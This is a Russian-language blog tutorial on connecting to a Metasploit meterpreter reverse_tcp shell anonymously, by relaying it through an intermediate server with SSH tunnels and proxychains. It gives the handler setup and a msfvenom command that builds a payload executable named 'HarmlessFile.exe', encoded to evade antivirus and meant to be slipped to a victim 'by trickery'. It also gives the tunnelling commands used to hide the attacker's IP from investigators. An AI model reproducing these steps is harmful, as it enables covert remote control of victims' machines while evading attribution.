Анонимное подключение к meterpreter/reverse_tcp через промежуточный сервер с помощью SSH-туннелей

Всем привет! Эта статья рассчитана скорее на новичков, которые только начинают своё знакомство с Metasploit Framework, но уже кое-что понимают. Если вы считаете себя опытным специалистом и вас заинтересовало название, можете сразу перейти к TL;DR; в конце. Речь в этой статье пойдет о том, как устроить анонимный доступ к meterpriter оболочке посредством reverse tcp с использованием промежуточного сервера и SSH туннелей.

Дисклеймер: чукча не писатель, не безопасник и вообще с трудом может причислить себя к профессионалам в какой-либо сфере. Но чукча захотел reverse tcp через tor и сделал, а вам теперь это читать. А так же помните, что производить подобные действия можно только в разрешенных вам местах, иначе вам грозят несколько статей уголовного кодекса.

Вступление

Допустим, мы нашли дыру на виндовой машине и хотим на неё проникнуть. Рассмотрим варианты, причем обычный cmd нам неинтересен, то ли дело meterpreter, о нём и поговорим.

Есть два основных принципа соединения с оболочкой meterpreter: прямое и обратное. В meterpreter’е есть множество вариантов подключения, но в рамках этой статьи мы будем говорить только о bind tcp(прямой) и reverse tcp(обратный).

Какие подводные камни нас ждут, если мы хотим использовать bind tcp, открыв таким образом порт у жертвы и потом через прокси или тор подключиться? Во-первых, брэндмауэр жертвы поинтересуется, зачем эта непонятная программа пытается выйти в интернет и можно ли ей тут хозяйничать? Допустим, пользователь глуп(что скорее всего так и есть) настолько, чтобы разрешить нашей программе открыть порт, спросите себя, кто нынче выходит в интернет напрямую и имеет белый ip? Мало таких осталось, сейчас везде роутеры, а следовательно наш порт будет доступен только во внутренней сети. Если мы заморочились и прокинули порт наружу, то остаётся полследняя проблемы: нужно знать ip, чтобы подключиться, а он может периодически меняться. Зато, если все перечисленные выше условия выполнены, то можно подключиться через цепочку проксей из любого места.

Что насчет reverse tcp подключения? Брэндмауэр не ругается, роутер тоже не помеха — жертва сама подключится к нам, поэтому же отпадает необходимость следить за её ip адресом. Но возникает проблема посерьёзнее — анонимность. Нам нужно указать, куда жертва будет подключаться, то есть написать свой ip, который можно будет увидеть через тот же netstat. И тогда дяди в чистых костюмах или мстительная жертва с нужными знакомыми смогут, как говорится, вычислить по ip и начистить ботинки сами знаете что сделать. Ещё один минус — наш айпи должен быть постоянным, чтобы иметь возможность подключаться к жертве повторно.

Как же быть? Как сохранить анонимность и иметь возможность входа из любого места?

Я нашел следующий выход из этой ситуации: нам нужен промежуточный сервер с ssh доступом, куда жертва будет цепляться по reverse tcp, а мы пробросим себе порт с этого сервера и таким образом подключимся к жертве. Если вам вдруг стало ничего не понятно, то не переживайте, дальше я всё расскажу и покажу.

Начальные условия

Весь процесс я буду демонстрировать в следующих условиях:

  1. В качестве атакующей стороны будет выступать виртуальная машина Kali Linux 2 с IP адресом 192.168.1.50
  2. Жертвой будет виртуалка с Windows 7. IP — 192.168.1.146
  3. Промежуточным, читай — прокси, сервером будет Fedora с IP 192.168.1.10

Не смотрите на то, что они все находятся в одной сети — этот метод прекрасно будет работать в реальных условиях, когда прокси-сервер, жертва и атакующая машина все находятся в разных сетях, но с доступом к интернету.

Для начала запустим handler — программу, которая будет ждать соединения от жертвы на 4444 порту, чтобы при подключении отправить ей meterpreter. Для этого в командной строке Kali запустим msfconsole и в ней выполним следующие команды:

Выбираем хэндлер:

use exploit/multi/handler

Сообщаем, что на жертве у нас будет запущена полезная нагрузка meterpreter с обратным соединением:

set PAYLOAD windows/meterpreter/reverse_tcp

Указываем параметры нагрузки — будем слушать на порту 4444 нашего ip адреса(почему не 127.0.0.1 расскажу позже).

set LHOST 192.168.1.50
set LPORT 4444

Запускаем и оставляем в таком виде до лучших времен.

run

 

Создание exe с полезной нагрузкой

Затем сгенерируем программулину, которая и будет подключаться через прокси к нам. Открываем новую вкладку терминала и набираем следующее:

msfvenom -a x86 --platform Windows -f exe -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=22222 -e x86/shikata_ga_nai -i 13 -b '\x00' > HarmlessFile.exe

Кратко расскажу об аргументах.

Первые три очевидны — архитектура процессора, платформа и формат выходного файла. Аргумент -p сразу понятен тем, кто немного знаком с Metasploit: мы выбирали в качестве полезной нагрузки оболочку meterpreter, которая подключится на порт LPORT хоста LHOST, принадлежащие в данном случае нашему прокси-серверу.

Последние 3 аргумента описывают способ шифрования для обхода антивируса(заодно проверим, сможем ли мы обмануть антивирус). В данном случае мы используем 13 итераций полиморфного XOR кодирования shikata ga nai, а при помощи -b помечаем нулевой байт «плохим», то есть говорим, что его нужно избегать. Всё это дело записывается в файл HarmlessFile.exe, который нам нужно с помощью хитрости и обмана доставить жертве. Но я повелитель виртуальных машин, поэтому просто скопирую его из Kali в Windows.

Аваст не повелся и гордо сообщил об угрозе, поэтому и был убит на месте, дабы не мешать испытаниям. Файл на месте, теперь займемся подготовкой нашего сервера.

Настройка сервера

Мы будем использовать статический проброс портов.

Почему статика, а не SOCKS-прокси?

В созданном нами exe порт был 22222, а на Kali мы слушаем порт 4444. Значит-с, чтобы все запросы идущие на серверный порт 22222 транслировались на наш порт 4444, в Kali нужно написать такую команду:

ssh -v -N -R 22222:127.0.0.1:4444 user@192.168.1.10

Чтобы разобраться, почему это не сработает, поймем чего мы этой командой хотели добиться. Мне нравится, когда на экране есть информация о том, что происходит, поэтому я добавил -v, но доступ к оболочке нам не нужен, поэтому -N(ещё в этом случае нас не будет видно в who на сервере). Магический аргумент -R 127.0.0.1:22222:127.0.0.1:4444 описывает правила перенаправления пакетов: с адреса на сервере 127.0.0.1:22222 на наш локальный адрес 127.0.0.1:4444. Первый 127.0.0.1 подразумевается, поэтому мы его опускаем.

Нюанс в том, что по умолчанию проброшенный таким образом порт на сервере будет доступен только с серверного же localhost’а и при попытке подключиться извне ничего не произойдет и никаких ошибок не будет.

Поправим ситуацию — открываем на прокси-сервере конфиг ssh демона — /etc/ssh/sshd_config, ищем строку GatewayPorts, раскомментируем её и устанавливаем в yes. Переподгружаем конфиг через service sshd reload и теперь со спокойной душей запускаем команду.

А теперь интересный момент. Когда я только это всё изучал, то подобными манипуляциями у меня получилось добиться подключения жертвы к моему хэндлеру и успешно открыть командную строку метерпритера, но при вводе любой команды(даже help) он с дикими ошибками закрывал соединение. Сейчас же, когда я пишу статью, всё работает. Даже если у вас всё заработало и так, всё равно рекомендую к прочтению следующий абзац.

После долгих часов гугления был найден комментарий разработчика метерпритера о том, что не стоит указывать LHOST(то есть адрес хоста, на котором слушать) 127.0.0.1. Нужно писать либо что-то типа 127.0.0.2, либо 0.0.0.0. Но если мы выбираем первый вариант, то и прокидывать порты нужно на 127.0.0.2. Но и с таким вариантом у меня выпадали ошибки. После ещё более долгих часов гугления был найден комментарий другого разработчика, который сказал чуть больше: нельзя вешать не только на 127.0.0.1, но и в принципе на интерфейс loopback, потому что он зарезервирован и работать будет не стабильно, и порекомендовал вешать хэндлер на другой сетевой интерфейс, например eth0. Так что прокидывать мы будем на него же. Команда приобретает следующий вид:

ssh -v -N -R 22222:192.168.1.50:4444 user@192.168.1.10

Уже лучше, но через proxychains её всё равно не получится запустить. Чтобы поправить это, пробросим через проксичейнс ssh сервера себе, и через него уже пробросим порт метерпритера.

Говорят, proxychains, входящий в стандартную сборку Kali 2 уже староват и давно заброшен. У меня он периодически падал с ошибкой segfault. Поэтому я поставил себе proxychains4(proxychains-ng) отсюда, а старый снёс к чертям и остался доволен, чего и вам советую.

Прокидываем ssh:

proxychains4 ssh -v -N -L 42022:127.0.0.1:22 user@192.168.1.10

Теперь все запросы на у нас по адресу 127.0.0.1:42022 проходя через proxychains попадают на 192.168.1.10:22 и таким образом у нас появляется анонимный доступ по ssh к прокси-серверу. Через него прокидываем порт метерпритера.

ssh -v -N -R 22222:192.168.1.50:4444 user@127.0.0.1 -p 42002

Заметьте, что мы подключаемся именно на 127.0.0.1:42002, а не на 192.168.1.10:22. Всё готово! Выпускайте Кракена Запускаем HarmlessFile.exe у жертвы и наслаждаемся результатом.

TL;DR;

Оговорюсь повторно, что я описал метод, который сработал для меня и выполнил нужную мне задачу — анонимность и мобильной. Может быть есть и другие, более простые пути добиться того же самого, но мне не удалось их раскопать.

Моя первая статья на ваш суд — конструктивная критика приветствуется, об опечатках прошу сообщать в личку.

Полезные ссылки:

Памятка пользователям ssh — замечательное описание возможностей SSH, в частности о SSH-туннелях.
Meterpreter базовые команды — описание базовых команд Meterpreter’a.

И ещё 2 слегка устаревшие статьи, но в них есть описание более интересных фич Meterpreter.

Секреты Meterpreter Payload
Meterpreter в деле: хитрые приемы через msf

Репозиторий proxychains-ng

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *